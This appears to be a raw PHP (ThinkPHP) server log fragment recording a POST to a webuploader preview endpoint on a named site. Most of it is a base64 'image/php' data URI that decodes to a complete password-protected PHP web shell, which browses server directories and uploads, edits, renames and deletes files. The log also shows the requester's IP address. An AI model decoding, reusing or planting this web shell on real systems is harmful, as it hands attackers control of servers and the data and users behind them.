'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:50+08:00 ] 116.213.36.234 POST www.51tianwei.com/res/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.002523s] [吞吐率:396.36req/s] [内存消耗:196.80kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'res', 2 => 'plugins', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 